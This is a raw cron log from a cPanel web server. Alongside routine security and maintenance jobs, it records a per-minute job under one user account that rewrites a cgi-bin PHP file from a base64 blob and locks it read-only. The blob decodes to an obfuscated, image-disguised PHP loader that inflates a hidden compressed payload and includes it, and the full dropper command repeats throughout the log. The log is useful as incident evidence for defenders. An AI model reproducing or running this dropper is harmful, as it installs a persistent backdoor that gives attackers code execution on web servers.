Sep  4 03:28:01 server CROND[26489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:28:01 server CROND[26490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:28:01 server CROND[26491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:29:01 server CROND[26863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:29:01 server CROND[26865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:29:01 server CROND[26869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:30:01 server CROND[27255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:30:01 server CROND[27257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:30:01 server CROND[27260]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:30:01 server CROND[27265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:30:01 server CROND[27264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:30:01 server CROND[27261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:30:01 server CROND[27262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:30:01 server CROND[27263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:31:01 server CROND[28180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:31:01 server CROND[28179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:31:01 server CROND[28181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:32:01 server CROND[28579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:32:01 server CROND[28580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:32:01 server CROND[28581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:33:01 server CROND[28964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:33:01 server CROND[28965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:33:01 server CROND[28966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:34:01 server CROND[29344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:34:01 server CROND[29345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:34:01 server CROND[29346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:35:01 server CROND[29745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:35:01 server CROND[29746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:35:01 server CROND[29753]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:35:01 server CROND[29754]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:35:01 server CROND[29756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:35:01 server CROND[29757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:35:01 server CROND[29762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:35:01 server CROND[29764]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 03:35:01 server CROND[29759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:35:01 server anacron[12869]: Job `cron.daily' started
Sep  4 03:35:01 server run-parts(/etc/cron.daily)[29974]: starting imunify-antivirus.cron
Sep  4 03:36:01 server CROND[30733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:36:01 server CROND[30735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:36:01 server CROND[30736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:37:01 server CROND[31105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:37:01 server CROND[31106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:37:01 server CROND[31107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:38:01 server CROND[31535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:38:01 server CROND[31536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:38:01 server CROND[31538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:39:01 server CROND[31932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:39:01 server CROND[31933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:39:01 server CROND[31935]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 03:39:01 server CROND[31934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:40:01 server CROND[32329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:40:01 server CROND[32332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
